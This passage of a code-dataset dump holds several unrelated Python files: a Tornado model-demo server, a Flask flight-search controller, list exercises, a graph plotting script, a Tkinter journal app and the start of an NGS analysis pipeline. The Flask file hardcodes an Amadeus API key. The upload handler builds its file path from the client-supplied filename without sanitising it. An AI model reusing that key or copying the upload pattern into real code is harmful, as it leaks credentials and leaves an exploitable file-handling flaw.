[]\n    for meta in file_metas:\n      _file_name = '%s_%s'%(str(uuid.uuid4()), meta['filename'])\n      _file_path = os.path.join(upload_path, _file_name)\n\n      with open(_file_path, 'wb') as fp:\n        fp.write(meta['body'])\n\n      file_paths.append(_file_path)\n      file_names.append(_file_name)\n\n    if len(file_paths) == 0 or len(file_names) == 0:\n      self.set_status(400)\n      self.write(json.dumps({'code': 'InvalidUploadFile', 'message': 'The input file is not uploaded correctly'}))\n      self.finish()\n      return\n\n    # 2.step parse query data\n    model_datas = []\n    model_data_names = []\n    model_data_types = []\n    request_param = None\n\n    for file_path in file_paths:\n      # check file basic infomation\n      # 1.step check file size\n      if 'file_size' in self.demo_constraint:\n        max_file_size = self.demo_constraint['file_size']\n        fsize = os.path.getsize(file_path) / float(1024 * 1024)\n        if round(fsize,2) > max_file_size:\n          self.set_status(400)\n          self.write(json.dumps({'code': 'InvalidImageSize', 'message': 'The input file size is too large (>%f MB)'%float(max_file_size)}))\n          self.finish()\n          return\n\n      # 2.step check file format\n      if 'file_type' in self.demo_constraint:\n        is_ok, file_path = check_file_types(file_path, self.demo_constraint['file_type'])\n        if not is_ok:\n          self.set_status(400)\n          self.write(json.dumps({'code': 'InvalidImageFormat', 'message': 'The input file is not in a valid image format that the service can support'}))\n          self.finish()\n          return\n      try:\n        model_data, model_data_name, model_data_type = self.preprocess_model_server(file_path, 'PATH')\n      except:\n        self.set_status(400)\n        self.write(json.dumps({'code': 'InvalidDetails', 'message': 'The input file parse error'}))\n        self.finish()\n        return\n      if model_data is None:\n        self.set_status(400)\n        self.write(json.dumps({'code': 'InvalidDetails', 'message': 'The input file parse error'}))\n        self.finish()\n        return\n\n      model_datas.append(model_data)\n      model_data_names.append(model_data_name)\n      model_data_types.append(model_data_type)\n\n    # 3.step preprocess data, then submit to model\n    model_input = (model_datas,model_data_types,request_param) if len(model_datas) > 1 else (model_datas[0], model_data_types[0], request_param)\n\n    # no block\n    self.zmq_client_socket.send(dumps(model_input))\n\n    # asyn\n    result = yield self.zmq_client_socket.recv()\n    demo_result = None\n    try:\n      result = loads(result)\n      _, demo_result = result\n    except:\n      self.set_status(500)\n      self.write(json.dumps({'code': 'FailedToProcess', 'message': 'Failed to Process'}))\n      self.finish()\n      return\n\n    # data type: 'FILE', 'STRING', 'IMAGE', 'VIDEO', 'AUDIO'\n    # data:       PATH,  '',        PATH,    PATH,    PATH\n    # 5.step post process and render\n    demo_response = self.postprocess_model_server(model_data_names[0], demo_result)\n\n    if len(model_data_names) == 1:\n      demo_response['INPUT_TYPE'] = model_data_types[0]\n      if model_data_types[0] in ['FILE', 'IMAGE', 'AUDIO', 'VIDEO']:\n        demo_response['INPUT'] = '/static/input/%s' % model_data_names[0]\n      else:\n        demo_response['INPUT'] = model_datas[0]\n    else:\n      demo_response['INPUT_TYPE'] = []\n      demo_response['INPUT'] = []\n      for index in range(len(model_data_names)):\n        demo_response['INPUT_TYPE'].append(model_data_types[index])\n        if model_data_types[index] in ['FILE', 'IMAGE', 'AUDIO', 'VIDEO']:\n          demo_response['INPUT'].append('/static/input/%s' % model_data_names[index])\n        else:\n          demo_response['INPUT'].append(model_datas[index])\n\n    self.write(json.dumps(demo_response))\n    self.finish()\n\n\nclass ClientCommentHandler(BaseHandler):\n  def post(self):\n    self.set_status(201)\n    self.finish()\n\n\nclass PrefixRedirectHandler(BaseHandler):\n  def get(self):\n    static_pi = self.request.uri.find('static')\n    path = self.request.uri[static_pi:]\n    self.redirect('http://127.0.0.1:%d/%s'%(self.port, path), permanent=False)\n\n\nclass GracefulExitException(Exception):\n  @staticmethod\n  def sigterm_handler(signum, frame):\n    raise GracefulExitException()\n\n\ndef demo_server_start(demo_name,\n                      demo_type,\n                      demo_description,\n                      support_user_upload,\n                      support_user_input,\n                      support_user_interaction,\n                      support_user_constraint,\n                      demo_dump_dir,\n                      html_template,\n                      server_port,\n                      parent_id):\n  # register sig\n  signal.signal(signal.SIGTERM, GracefulExitException.sigterm_handler)\n  \n  try:\n    # 0.step define http server port\n    define('port', default=server_port, help='run on port')\n\n    zmq_ctx = future.Context.instance()\n    client_socket = zmq_ctx.socket(zmq.REQ)\n    client_socket.bind('ipc://%s'%str(parent_id))\n\n    # 1.step prepare static resource\n    static_folder = '/'.join(os.path.dirname(__file__).split('/')[0:-1])\n    demo_static_dir = os.path.join(demo_dump_dir, 'static')\n    if not os.path.exists(demo_static_dir):\n      os.makedirs(demo_static_dir)\n  \n    for static_file in os.listdir(os.path.join(static_folder, 'resource', 'static')):\n      if static_file[0] == '.':\n        continue\n    \n      shutil.copy(os.path.join(static_folder, 'resource', 'static', static_file), demo_static_dir)\n  \n    # 2.step prepare html template\n    demo_tempate_dir = os.path.join(demo_dump_dir, 'templates')\n  \n    if not os.path.exists(demo_tempate_dir):\n      os.makedirs(demo_tempate_dir)\n  \n    if html_template is None:\n      html_template = 'demo.html'\n  \n      if not os.path.exists(os.path.join(demo_tempate_dir, html_template)):\n        assert(os.path.exists(os.path.join(static_folder, 'resource', 'templates',html_template)))\n        shutil.copy(os.path.join(static_folder, 'resource', 'templates',html_template), demo_tempate_dir)\n    else:\n      shutil.copy(html_template, demo_tempate_dir)\n\n    tornado.options.parse_command_line()\n    settings = {\n      'template_path': demo_tempate_dir,\n      'static_path': demo_static_dir,\n      'html_template': html_template,\n      'port': server_port,\n      'demo_dump': demo_dump_dir,\n      'demo_name': demo_name,\n      'demo_type': demo_type,\n      'demo_description': demo_description,\n      'support_user_upload': support_user_upload,\n      'support_user_input': support_user_input,\n      'support_user_interaction': support_user_interaction,\n      'support_user_constraint': support_user_constraint,\n      'zmq_client_socket': client_socket,\n    }\n    app = tornado.web.Application(handlers=[(r\"/\", IndexHandler),\n                                            (r\"/demo\", IndexHandler),\n                                            (r\"/api/query/\", ClientQueryHandler),\n                                            (r\"/api/comment/\", ClientCommentHandler),\n                                            (r\"/submit/\", ClientFileUploadAndProcessHandler),\n                                            (r\"/.*/static/.*\", PrefixRedirectHandler)],\n      **settings)\n    http_server = tornado.httpserver.HTTPServer(app)\n    http_server.listen(options.port)\n  \n    logger.info('demo is providing server on port %d'%server_port)\n    tornado.ioloop.IOLoop.instance().start()\n    logger.info('demo stop server')\n  except GracefulExitException:\n    logger.info('demo server exit')\n    sys.exit(0)\n  except KeyboardInterrupt:\n    os.kill(parent_id, signal.SIGKILL)\n    \n# demo_server_start('world','IMAGE_SEGMENTATION','/Users/jian/Downloads/ww',None,6990)","sub_path":"antgo/crowdsource/demo_server.py","file_name":"demo_server.py","file_ext":"py","file_size_in_byte":22921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"385710005","text":"import os\nimport sys\nfrom flask import Flask, request, jsonify\nfrom flask import url_for, redirect, send_from_directory\nfrom flask import make_response, abort\nimport requests\nimport json\n\nfrom angular_flask import app\n\n# routing for basic pages (pass routing onto the Angular app)\n@app.route('/')\ndef basic_pages(**kwargs):\n    return make_response(open('angular_flask/templates/index.html').read())\n\n# https://api.sandbox.amadeus.com/v1.2/flights/inspiration-search?apikey=NhFsGHrLaDhgJSOJNO8QdiGQ1DQdEnjm&origin=BLR\n@app.route('/insp_search')\ndef insp_search():\n    origin = request.args.get('origin')\n    print >> sys.stderr, \"origin = {origin}\".format(origin = origin)\n    search_url = (\"https://api.sandbox.amadeus.com/v1.2/flights/inspiration-search?apikey=NhFsGHrLaDhgJSOJNO8QdiGQ1DQdEnjm&origin={origin}\"\n        .format(origin = origin))\n    call_response = (requests.get(search_url)).json()\n    call_response[\"iata_map\"] = {}\n\n    cur_dir = os.path.dirname(__file__)\n    rel_air_dict = os.path.join(cur_dir, \"../data/airports.json\")\n\n    with open(rel_air_dict) as data:\n        iata_dict = json.load(data)\n\n    for flight in call_response[\"results\"]:\n        try:\n            latlong = [iata_dict[flight['destination']]['latitude'], iata_dict[flight['destination']]['longitude']]\n            call_response['iata_map'][flight['destination']] = latlong\n        except KeyError as e:\n            latlong = ['null', 'null']\n            call_response['iata_map'][flight['destination']] = latlong\n\n\n    return jsonify(call_response)\n\n# special file handlers and error handlers\n@app.route('/favicon.ico')\ndef favicon():\n    return send_from_directory(os.path.join(app.root_path, 'static'),\n                               'img/favicon.ico')\n\n@app.errorhandler(404)\ndef page_not_found(e):\n    return render_template('404.html'), 404\n","sub_path":"angular_flask/controllers.py","file_name":"controllers.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"290429050","text":"#Nested list\r\n\r\nmatrix=[[j for j in range(5)] for i in range(5)]\r\nprint(matrix)\r\n\r\nmatrix1=[]\r\nfor i in range(5):\r\n  matrix1.append([])\r\n  for j in range(5):\r\n     matrix1[i].append(j)\r\nprint(matrix1)\r\n\r\n\r\n\r\n#Flatter Matrix(join all sublists into one list)...........\r\n\r\nflatter_matrix=[]\r\nfor i in matrix:\r\n   for j in i:\r\n    if j<4:\r\n     flatter_matrix.append(j)\r\n\r\nprint(flatter_matrix)\r\n\r\n# .................OR.............\r\n\r\nf=[]\r\nfor i in matrix:\r\n   f.extend(i)\r\nprint(f)\r\n\r\n\r\n# Flatter upto fixed length\r\nplanet=[[\"cdretfrgt\",\"qwefrgthyuj\"],[\"swdefrt\",\"ds\",\"s\"]]\r\nf=[i for sublist in planet for i in sublist if len(i)<6]\r\nprint(f)\r\n","sub_path":"Python assignment/Module 5/list.py","file_name":"list.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"226394456","text":"###################################################################################################################################################\r\n#CONSTRUIR UN GRAFO CON PUNTOS AL AZAR Y CON ARISTAS CON PROBABILIDAD\r\nfrom random import random\r\nfrom math import sqrt\r\n\r\n#pedir el numero de nodos\r\nn = 15\r\nid = 1\r\nq = 0\r\nalpha = 0.9\r\ntemp = 100\r\n\r\n#crear una lista para guardar las coordenadas\r\nnodos = []\r\n\r\n#crear lista para aristas\r\naristas = []\r\ny_min = 1.0\r\ny_max = 0.1\r\n# generar de forma aleatoria n puntos con colores diferentes \r\nfor i in range(n):\r\n\tx = random()\r\n\ty = random()\r\n\tif y < y_min:\r\n\t\ty_min = y\r\n\t\tmi = i\r\n\tif y > y_max:\r\n\t\ty_max = y\r\n\t\tma = i\r\n\tnodos.append((x,y))\r\n\r\n#abrir archivo para guardar las aristas de conexion\r\nwith open(\"aristas.csv\", \"w\") as g:\r\n\tfor i in range(n):\r\n\t\tfor j in range(n):\r\n\t\t\tp = y_min/nodos[i][1]*alpha\r\n\t\t\t#dos puntos debes de tener una probabilidad random menor a p\r\n\t\t\tif i == j:\r\n\t\t\t\tcontinue\r\n\t\t\telse:\r\n\t\t\t\td = sqrt((nodos[i][0]-nodos[j][0])**2 + (nodos[i][1]-nodos[j][1])**2)\r\n\t\t\t\tif d <= p:\r\n\t\t\t\t\tprint(nodos[i][0], nodos[i][1], nodos[j][0], nodos[j][1], file = g)\r\n\t\t\t\t\taristas.append((nodos[i][0], nodos[i][1], nodos[j][0], nodos[j][1]))\r\n\t\t\t\t\t#contador de aristas para cada nodo\r\n\t\t\t\t\tq = q + 1\r\n\r\n#abrir archivo para guardar las coordenadas color y tamaño\r\nwith open(\"nodos.csv\", \"w\") as w:\r\n\tfor i in range(n):\r\n\t\tprint(nodos[i][0], nodos[i][1], y_min/nodos[i][1]*temp, file = w)\r\n\r\nwith open(\"regiones.csv\", \"w\") as w:\r\n\tprint(nodos[mi][0],nodos[mi][1],alpha, file = w)\r\n\tprint(nodos[ma][0],nodos[ma][1],nodos[mi][1]/nodos[ma][1]*alpha, file = w)\r\n\r\nwith open (\"nodos.plot\", 'w') as salida: #Archivo para poder generar mi grafica de salida.\r\n\tprint ('set term pngcairo size 1000,1000', file = salida) \r\n\t#png para formato de salida de mi grafica\r\n\tprint ('set output \"nodos.png\"', file = salida) \r\n\tprint ('set size square', file = salida)\r\n\t#Keyoff es para que la marca de agua que sale en la parte superior der. no se vea.\r\n\tprint ('set key off', file = salida)\r\n\t#El rango x y y son para el tamanio en que va a salir mi grafica.\r\n\tprint ('set xrange [-.1:1.1]', file = salida)\r\n\tprint ('set yrange [-.1:1.1]', file = salida)\r\n\tprint('set xlabel \"Longitud (m)\"', file = salida)\r\n\tprint('set ylabel \"Longitud (m)\"', file = salida)\r\n\tfor i in range(q):\r\n\t\tprint ('set arrow', id, 'from', aristas[i][0], ',',aristas[i][1],'to', aristas[i][2], ',', aristas[i][3], file = salida)\r\n\t\tid = id + 1\r\n\t#print ('plot \"nodos.dat\" using 1:2:($3*256):4 with points pt 7 lc var ps var')\r\n\tprint ('plot \"nodos.csv\" with points palette pt 7 ps 4', file = salida)\r\n\tprint(\"quit()\", file = salida)\r\n\r\nwith open (\"regiones.plot\", 'w') as salida: #Archivo para poder generar mi grafica de salida.\r\n\tprint ('set term pngcairo size 1000,1000', file = salida) \r\n\t#png para formato de salida de mi grafica\r\n\tprint ('set output \"regiones.png\"', file = salida) \r\n\tprint ('set size square', file = salida)\r\n\t#Keyoff es para que la marca de agua que sale en la parte superior der. no se vea.\r\n\tprint ('set key off', file = salida)\r\n\t#El rango x y y son para el tamanio en que va a salir mi grafica.\r\n\tprint ('set xrange [-.1:1.1]', file = salida)\r\n\tprint ('set yrange [-.1:1.1]', file = salida)\r\n\tprint('set xlabel \"Longitud (m)\"', file = salida)\r\n\tprint('set ylabel \"Longitud (m)\"', file = salida)\r\n\tprint(\"set style fill  transparent solid 0.35 border\", file = salida)\r\n\t#print ('plot \"nodos.dat\" using 1:2:($3*256):4 with points pt 7 lc var ps var')\r\n\tprint ('plot \"nodos.csv\" w points palette pt 7 ps 4, \"regiones.csv\" u 1:2:3 w circles', file = salida)\r\n\tprint(\"quit()\", file = salida)","sub_path":"Reporte 1/elisa_1.py","file_name":"elisa_1.py","file_ext":"py","file_size_in_byte":3630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"265677592","text":"# -*- coding: utf-8 -*-\n'''文件说明:极简日志系统-桌面版\n作者信息：yangshaoshun\n版本自述：v1.0\n待解决问题1：因为 idle 编码问题，无法输入中文\n待解决问题2：对文件的判断和操作，同时提示用户\n待解决问题3：界面布局\n待解决问题4：不止输入一行字符，使用 txt 输入一段文字，甚至可以输入 md 格式，下面展示转换后的内容\n代办事项：书写 readme.md\n代办事项2：docopt 的使用\n'''\n#全局引用\nfrom Tkinter import *\nfrom ttk import *\nfrom sys import argv\nreload(sys)\nsys.setdefaultencoding( \"utf-8\" )\n\nscript, filename = argv\n\n#开启窗口\nmaster = Tk()\n\n#提示信息\nheadname = StringVar()\nw = Label(master, textvariable = headname)\nheadname.set('编辑' + filename +'.txt')\nw.pack()\n\n#输入框\nv = StringVar()\ne = Entry(master, textvariable = v)\ne.pack()\n\n#通过按钮读取输入的内容，保存到本地文件中\ndef callback():\n    txt = v.get()\n    target = open(filename + '.txt', 'a')\n    target.write(txt + '\\n')\n    target = open(filename + '.txt')\n    s.set(target.read())\n    e.delete(0, END)\n    e.focus_set()\n\nb = Button(master, text=\"get\", width=10, command=callback)\nb.pack()\n\n#读取文件内容\ns = StringVar()\ntarget = open(filename + '.txt')\ns.set(target.read())\n#展示文件内容\nw = Message(master, textvariable=s, width=500)\nw.pack()\n\nmainloop()","sub_path":"_src/om2py0w/0wex2/te.py","file_name":"te.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"417029071","text":"#!/usr/bin/python3\n\n__author__ = 'daniel'\n\n## Changelog ##\n# v0.871\n# - Added hapConX() to estimate contamination with hapConX\n#\n# v0.870\n# - Updated sexing() to Python3\n#\n# v0.869\n# - Fixed bug in bamDemux()\n#\n# v0.868\n# - Fixed bamDemux() index order and running details\n# - Fixed end_analysis() terminal deamination reporting\n#\n# v0.867\n# - Added bamDemux() to demultiplex Illumina reads stored as a BAM file\n#\n# v0.865\n# - Added schmutzi() to estimate contamination with schmutzi\n# - Fixed close() for hirisplex embedded list\n#\n# v0.864\n# - Added pileupCaller() to call pseudo-haploid genotypes, and replace pca_lc()\n# - Added pileup2ped() to convert samtools mpileup data from pileupCaller() into PLINK format\n#\n# v0.863\n# - Added changeBamChrNotation() to change BAM chromosome notation from 1,2,3 to chr1,chr2,chr3, and vice-versa\n#\n# v0.862\n# - Added choice to use Picardtools in batchBamToFastq\n# - Fixed coverage() when MT coverage was 0\n#\n# v0.861\n# - Fixed some bugs generatng ped and map files\n#\n# v0.860\n# - Fixed some calico() bugs, allowed multipleLanes=False\n#\n# v0.859\n# - Added batchBAMtoFASTQ() to batch convert BAM to FASTQ\n# - Added imputeWithBeagle() for imputation and phasing\n#\n# v0.858\n# - Added yleaf() for Y haplogroup assessment\n#\n# v0.857\n# - Updated GATK callers to version 4.1.2.0\n# - Updated PICARD callers to version 2.20.2\n#\n# v0.856\n# - Added SAMTOOLS and GATK options to makeindexgenome()\n# - Corrected all occurrences that used quality thresholds to accept changes from v.0.855\n# - Grouped functions by function at the end of the script\n#\n# v0.855\n# - Added multi-threading in bwaAlign() as an argument\n# - Added quality score filter for tagAndConvertSb() as an argument\n# - Incorporated option to choose samtools version (1.X.X or 0.1.XX) in samToolsSort()\n# - Removed plenty of old #commented code\n#\n# v0.854\n# - Faster fastqdemux() with mismatches and dual indexing allowed\n#\n# v0.853\n# - Less buggy Yfitter() code\n#\n# v0.852\n# - Added fastqdemux() to demultiplex Illumina sequencing data in *.fastq[.gz] format\n# - Added mergedEnd_Analysis() to create a Summary file from merged BAM files\n#\n# v0.851\n# - Added option to use cutadapt() directly from compressed fastqs (*.gz)\n# - Some calico() integration bugs corrected\n#\n# v0.850\n# - Updated chrConcat()\n#\n# v0.841\n# - Added calico() to estimate mitochondrial contamination\n#\n# v0.832\n# - Added mergeBamsBatch() to batch merge BAM files from multi-lane sequencing runs\n#\n# v0.820\n# - Added new function samToolsSort131() to be used with samtools v.1.3.1\n#\n# v0.790\n# - Updated code to create *.map files in pca_lc(), up to 50 times faster\n#\n# v0.780\n# - Added angsd_contamination() to integrate ANGSD to estimate X-chr contamination in males\n#\n# v0.770\n# - Added editHeaderBAMbatch() to edit headers and read group information for all BAM files in folder\n#\n# v0.760\n# - Added reorderBAM() to reorder contigs in BAM files that do not match the order on the desired reference\n#\n# v0.750\n# - Added compatibility with paired end sequencing data for cutadapt() and tagAndConvertSb()\n#\n# v0.700\n# - Added trimFastq() to trim bases at the ends of reads using SEQTK]\n# - Added rescaleMapDamage() to rescale base quality scores with MAPDAMAGE algorithm\n\n\nimport os\nimport sys\nimport shutil\nimport time\nimport random\nimport re\nimport inspect\nimport regex\nimport gzip\n\n\n# start_time = time.time()\n\n\n# indir = '/home/dfernandes/Google Drive/Scripts/NGS'\n# print('PATH.DIRNAME - ',os.path.dirname(indir)) ## Dirname gives mother directory of 'path'. If 'path' is a folder, gives mother folder of that folder\n#\n#\n# cwd = os.getcwd()\n# print('CWD - ',cwd)\n#\n# print('LISTDIR - ',cwd,os.listdir(cwd))\n#\n# newdir = cwd+'/Test'\n# os.mkdir(newdir)\n# print('MKDIR = CWD?',newdir+'?',newdir == cwd)\n#\n# os.chdir(newdir)\n# cwd = os.getcwd()\n# print('CHDIR = CWD?',newdir+'?',os.getcwd() == cwd)\n# print('LISTDIR - ',cwd,os.listdir(os.getcwd()))\n#\n# print('DIRNAME - ',os.path.dirname((cwd)))\n# os.chdir(os.path.dirname(cwd))\n# print('CWD -',os.getcwd())\n# cwd = os.getcwd()\n# print('LISTDIR - ',cwd,os.listdir(cwd))\n# print('WALK - ',cwd,os.walk(cwd))\n#\n# os.renames('Test','TestRe')\n# print('RENAME - ',os.listdir(cwd))\n# 1\n# input('Delete '+newdir+'?')\n# os.rmdir(cwd+'/TestRe')\n#\n# print(os.getcwd())\n\ndef output(filename, seqPlat, seqTypeEnd):\n    \"\"\"\n    Function to be used as parameter section for the analysis. Must always run.\n\n    :param filename:\n    (str)   Name of file to dump run info and commands\n\n    :param seqPlat:\n    (str)   Sequencing platform. Accepts \"MiSeq\" and \"NextSeq\"\n\n    :param seqTypeEnd:\n    (str)   Sequencing type. Accepts \"singleEnd\" and \"pairedEnd\"\n    :return:\n    \"\"\"\n    global fout\n    global seqPlatform\n    global seqType\n    seqType = seqTypeEnd\n    seqPlatform = seqPlat\n    cwd = os.getcwd()\n    global originalWD\n    originalWD = cwd\n    outputcount = 0\n    global mapDamageRescaleSim\n    global seqtkSim\n    mapDamageRescaleSim = 0\n    seqtkSim = 0\n    for i in os.listdir(cwd):\n        if re.search(\".mapdamaged.bam$\", i) != None:\n            mapDamageRescaleSim = 1\n        if re.search(\".seqtk.fastq$\", i) != None:\n            seqtkSim = 1\n        if \"_commands\" in i and \".txt\" in i:\n            outputcount += 1\n    if outputcount >= 1:\n        fout = open(filename + '_commands' + str(outputcount) + '.txt', 'w')\n\n    else:\n        fout = open(filename + '_commands.txt', 'w')\n\n    print(\"seqtkSim == \" + str(seqtkSim))\n    print(\"mapDamageRescaleSim == \" + str(mapDamageRescaleSim))\n\n    fout.write('>>> ' + time.strftime(\n        \"%d/%m/%Y\\t%H:%M:%S %Z\") + \"\\n>>> User: Daniel Fernandes\" + \"\\n>>> Description: Listing of commands for NGS-\" + seqPlatform + \" analysis\\n\")\n    # for item in samples_list:\n    #     fout.write('\\t'+item+'\\n')\n    fout.write(\"\\n\")\n\n\ndef fastqcAnalysis():\n    # def fastqcAnalysis(moveGzFiles = False):\n    \"\"\"\n    TODO - Port to FastQC versions > 0.10.1\n\n    ([boolean]) -> folder\n\n    For current folder, executes FastQC analysis for each 'fastq.gz' file, creating individual folders.\n    Second argument 'moveGzFiles' is optional and is 'False' by default.\n    Tested and working with FastQC version 0.10.1. Newer versions such as 0.11.3 do not work yet in providing the info for the \"End_analysis\".\n\n    Input:\n    foo_S11_L001_R1_001.fastq.gz\n\n    Output:\n    foo_S11_L001_R1_001.fastqc.html\n\n    Example:\n    >>> fastqcAnalysis()\n    #>>> fastqcAnalysis(moveGzFiles = True)\n    \"\"\"\n\n    cwd = os.getcwd()\n\n    ## Fastq Analysis ##\n    print(\"\\n< FASTQC - Quality control analysis >\")\n    fastqgz_counter = 0\n    for i in os.listdir(cwd):\n        if 'fastq.gz' in i:\n            fastqgz_counter += 1\n\n    if fastqgz_counter == 0:\n        print(\"\\t> ERROR: No 'fastq.gz' files in current directory. Skipping fastqc analysis...\")\n    else:\n        for i in os.listdir(cwd):\n            if 'fastq.gz' in i:\n                if seqPlatform == \"MiSeq\":\n                    sample_idd, sep, rest = i.partition('_L001')\n                    if sample_idd[-2:].isdigit() == True:\n                        sample_true_id = sample_idd[:-4]\n                    else:\n                        sample_true_id = sample_idd[:-3]\n                    print('\\t> FastQC analysis running for sample: ', sample_true_id)\n                    os.system('fastqc ' + i)\n                elif seqPlatform == \"NextSeq\":\n                    sample_true_id, sep, rest = i.partition('_R1_001')\n                    print('\\t> FastQC analysis running for sample: ', sample_true_id)\n                    os.system('fastqc ' + i)\n\n        print(\"\\t> Fastqc Analysis...Done!\")\n\n\ndef chrConcat(folder, deleteFaFiles=False, overwrite=False, mtChrAtEnd=True):\n    \"\"\"\n    (path [, boolean, boolean]) -> full_karyo.fa\n\n    Concatenates 'chrN.fa' files from folder into one 'full_karyo.fa' file. Path must be inside quotation marks.\n    Files should be named like 'chr1.fa', 'chr2.fa', 'chrMT.fa', etc.\n    Second and third arguments 'deleteFaFiles' / 'overwrite' are optional and are 'False' by default.\n\n    Input:\n    chr1.fa\n    chr2.fa\n    chrX.fa\n    ...\n\n    Output:\n    full_karyo.fa\n\n    Example:\n    >>> chrConcat('/home/dfernandes/NGSdata/Indexes/chroms_hg38', deleteFaFiles=True)\n    \"\"\"\n    print(\"\\n< CHRCONCAT - Concatenating chromosomes >\")\n\n    ## Error checking\n    if type(folder) != str:\n        print(\"\\t> ERROR: Path must be a 'str'. Concatenation aborted...\")\n        quit()\n    else:\n        pass\n\n    try:\n        os.chdir(folder)\n    except FileNotFoundError:\n        print(\"\\t> ERROR: Specified path does not exist. Concatenation aborted...\")\n        quit()\n\n    faCount = 0\n    for i in os.listdir(folder):\n        if i[-3:] == '.fa':\n            faCount += 1\n\n    if faCount == 0:\n        print(\"\\t> ERROR: No '.fa' files in the specified path. Concatenation aborted...\")\n        quit()\n    else:\n        pass\n\n    if overwrite == False:\n        for i in os.listdir(folder):\n            if i == 'full_karyo.fa':\n                print(\n                    \"\\t> ERROR: Concatenated file 'full_karyo.fa' already exists. To enable overwriting, please use 'overwrite = True' when calling this function. Concatenation aborted...\")\n                quit()\n            else:\n                pass\n    elif overwrite == True:\n        pass\n\n    ## If no errors occur, start here\n    chr_list = []\n    chr_index_list = []\n    chr_index_list_ordered = []\n    chr_index_list_double_digits = []\n    os.chdir(folder)\n    cwd = os.getcwd()\n    file_list = os.listdir(cwd)\n\n    ## Rejects files that have '_' in their names\n    for i in file_list:\n        if '_' in i:\n            pass\n        else:\n            chr_list.append(i)\n\n    ## Ordering chromosome files in numerical order\n    for i in chr_list:\n        index = i[3:]\n        index = index.rstrip('.fa')\n        chr_index_list.append(index)\n\n    for i in chr_index_list:\n        if len(i) == 1:\n            chr_index_list_ordered.append(i)\n        if len(i) == 2:\n            chr_index_list_double_digits.append(i)\n\n    chr_index_list_ordered.sort()\n    chr_index_list_double_digits.sort()\n    chr_index_list_ordered.extend(chr_index_list_double_digits)\n    z = 0\n    for i in chr_index_list_ordered:\n\n        if i[0].isdigit() == False:\n            pass\n        else:\n            chr_index_list_ordered.insert(z, chr_index_list_ordered.pop(chr_index_list_ordered.index(i)))\n            z += 1\n\n    ## Preparing str with final command\n    chr_list.sort()\n    command = ''\n    for i in chr_index_list_ordered:\n        for it in chr_list:\n            if it[3:] == i + '.fa':\n                command += it + ' '\n\n    if mtChrAtEnd == True:\n        chr_index_list_ordered += [chr_index_list_ordered.pop(chr_index_list_ordered.index(\"M\"))]\n\n    if command == '':\n        print(\n            \"\\t> ERROR: Fasta files naming is not correct. Please check 'help(chrConcat)' for more information. Concatenation aborted...\")\n        quit()\n    else:\n        print(\"\\t> Concatenating chromosomes as:\")\n        print(chr_index_list_ordered)\n        os.system('cat ' + command + ' > full_karyo.fa')\n\n    if deleteFaFiles == True:\n        cwd_list = os.listdir(cwd)\n        for i in cwd_list:\n            if 'full_karyo.fa' != i:\n                os.remove(i)\n    elif deleteFaFiles == False:\n        pass\n\n    print(\"\\t> chromosomes' concatenation...Done!\")\n\n\ndef makeIndexGenome(filePath, bwa=True, samtools=True, gatkpicard=True, overwrite=False):\n    \"\"\"\n    (path [,boolean,boolean,boolean,boolean]) -> various_files\n\n    Indexes the reference genome 'filePath' in FASTA format with a *.fa, *.fna, or *.fasta extension with BWA, SAMTOOLS, and GATK.\n    Requires 'jarwrapper'.\n\n    :param filePath:\n    (str)   Path to the FASTA sequence to index\n\n    :param bwa:\n    (boolean)   Index with BWA. Default=True.\n\n    :param samtools:\n    (boolean)   Index with SAMTOOLS. Default=True.\n\n    :param gatkpicard:\n    (boolean)   Index with PICARD for GATK. Default=True.\n\n    :param overwrite:\n    (boolean)   Overwrite existing output files. Default=False.\n\n    Example:\n    >>> makeIndexGenome('/home/dfernandes/NGSdata/Indexes/chroms_hg38/full_karyo.fa', bwa=True, samtools=True, overwrite=True)\n    \"\"\"\n\n    print(\"\\n< BWA/SAMTOOLS - Indexing reference genome >\")\n\n    ## Error checking\n    if type(filePath) != str:\n        print(\"\\t> ERROR: Path must be a 'str'. Indexing aborted...\")\n        quit()\n    else:\n        pass\n\n    cwd, sep, id = filePath.rpartition('/')\n\n    try:\n        os.chdir(cwd)\n    except FileNotFoundError:\n        print(\"\\t> ERROR: Specified folder does not exist. Indexing aborted...\")\n        quit()\n\n    if os.path.isfile(filePath) == False:\n        print(\"\\t> ERROR: Specified file does not exist. Indexing aborted...\")\n        quit()\n\n    os.chdir(cwd)\n    if overwrite == False:\n        if id + '.amb' in os.listdir(cwd) and id + '.ann' in os.listdir(cwd) and id + '.pac' in os.listdir(cwd):\n            print(\n                \"\\t> ERROR: Indexing files found in folder. To enable overwriting, please use 'overwrite = True' when calling this function. Indexing aborted...\")\n            quit()\n    elif overwrite == True:\n        pass\n\n    ## If no errors occur, start here\n    if bwa == True:\n        print(\"\\t> Indexing reference genome \" + \"'\" + id + \"'\" + \" with BWA in '\" + cwd + \"'...\")\n        print('\\t\\tbwa index -a bwtsw ' + filePath)\n        os.system('bwa index -a bwtsw ' + filePath)\n        print(\"\\n\",end='')\n\n    if samtools == True:\n        print(\"\\t> Indexing reference genome \" + \"'\" + id + \"'\" + \" with SAMTOOLS in '\" + cwd + \"'...\")\n        print('\\t\\tsamtools faidx ' + filePath)\n        os.system('samtools faidx ' + filePath)\n        print(\"\\n\",end='')\n\n    if gatkpicard == True:\n        print(\"\\t> Indexing reference genome \" + \"'\" + id + \"'\" + \" with PICARD for GATK in '\" + cwd + \"'...\")\n        patho, sep, extensiono = filePath.rpartition('.')\n        patho2, sep2, extensiono2 = patho.rpartition('/')\n        if overwrite == True and extensiono2 + '.dict' in os.listdir(cwd):\n            os.remove(extensiono2 + '.dict')\n        print('\\t\\tpicard.jar CreateSequenceDictionary R= ' + filePath + ' O= ' + patho + '.dict')\n        os.system('picard.jar CreateSequenceDictionary R= ' + filePath + ' O= ' + patho + '.dict')\n        print(\"\\n\",end='')\n    print(\"\\t> Reference genome indexing... Done!\")\n\n\ndef cutadapt(nThreads = 1):\n    \"\"\"\n    Removes the adapter sequences from '.fastq.gz' or '.fastq' files in current folder.\n    Tested and working for version 1.5. More recent versions such as 